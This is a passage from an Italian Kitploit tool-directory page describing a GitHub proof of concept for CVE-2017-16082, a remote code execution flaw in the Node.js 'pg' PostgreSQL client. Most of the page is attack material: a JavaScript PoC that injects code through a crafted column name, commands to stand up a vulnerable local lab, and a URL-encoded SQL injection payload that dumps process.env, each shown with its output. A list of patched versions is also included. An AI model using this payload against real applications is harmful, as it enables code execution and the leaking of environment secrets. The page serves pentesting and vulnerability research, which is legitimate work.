Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2017-16082 — NodeJS + Postgres (Esecuzione remota di codice) 🛰 | Kitploit
Strumenti/GitHubGitHub/nulldreams/cve-2017-16082
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza dei Database
GitHubnulldreams/cve-2017-16082

CVE-2017-16082

NodeJS + Postgres (Esecuzione remota di codice) 🛰

Vedi Repository
57 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2017-16082

Panoramica

Le versioni interessate di pg contengono una vulnerabilità di esecuzione di codice remoto che si verifica quando il database remoto o la query specifica un nome di colonna appositamente predisposto.

Ci sono due scenari specifici in cui è probabile che un'applicazione sia vulnerabile:

  1. L'applicazione esegue SQL non sicuro fornito dall'utente che contiene nomi di colonna dannosi.
  2. L'applicazione si connette a un database non attendibile ed esegue una query che restituisce risultati contenenti un nome di colonna dannoso.

Prova di concetto

root@kitploit:~
const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

Rimedi

  • Versione 2.x.x: aggiornare alla versione 2.11.2 o successiva.
  • Versione 3.x.x: aggiornare alla versione 3.6.4 o successiva.
  • Versione 4.x.x: aggiornare alla versione 4.5.7 o successiva.
  • Versione 5.x.x: aggiornare alla versione 5.2.1 o successiva.
  • Versione 6.x.x: aggiornare alla versione 6.4.2 o successiva. ( Nota: anche le versioni 6.1.6, 6.2.5 e 6.3.3 sono state corrette. )
  • Versione 7.x.x: aggiornare alla versione 7.1.2 o successiva. ( Nota: anche la versione 7.0.2 è stata corretta. )

Test locale 💣

git clone https://github.com/nulldreams/CVE-2017-16082.git

cd CVE-2017-16082

npm i && node server.js

Invia una richiesta a localhost:5000/api/v1/users?id=1 Risultato

root@kitploit:~
[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    }
]

Ora, invia una richiesta utilizzando un payload come questo 1;SELECT 1 AS "\']=0;console.log(process.env)//" e codificalo con codificatore di URL

URL finale: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22

root@kitploit:~
[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    },
    {
        "\\": 0
    }
]

Controlla il terminale del server.

Scarica lo strumento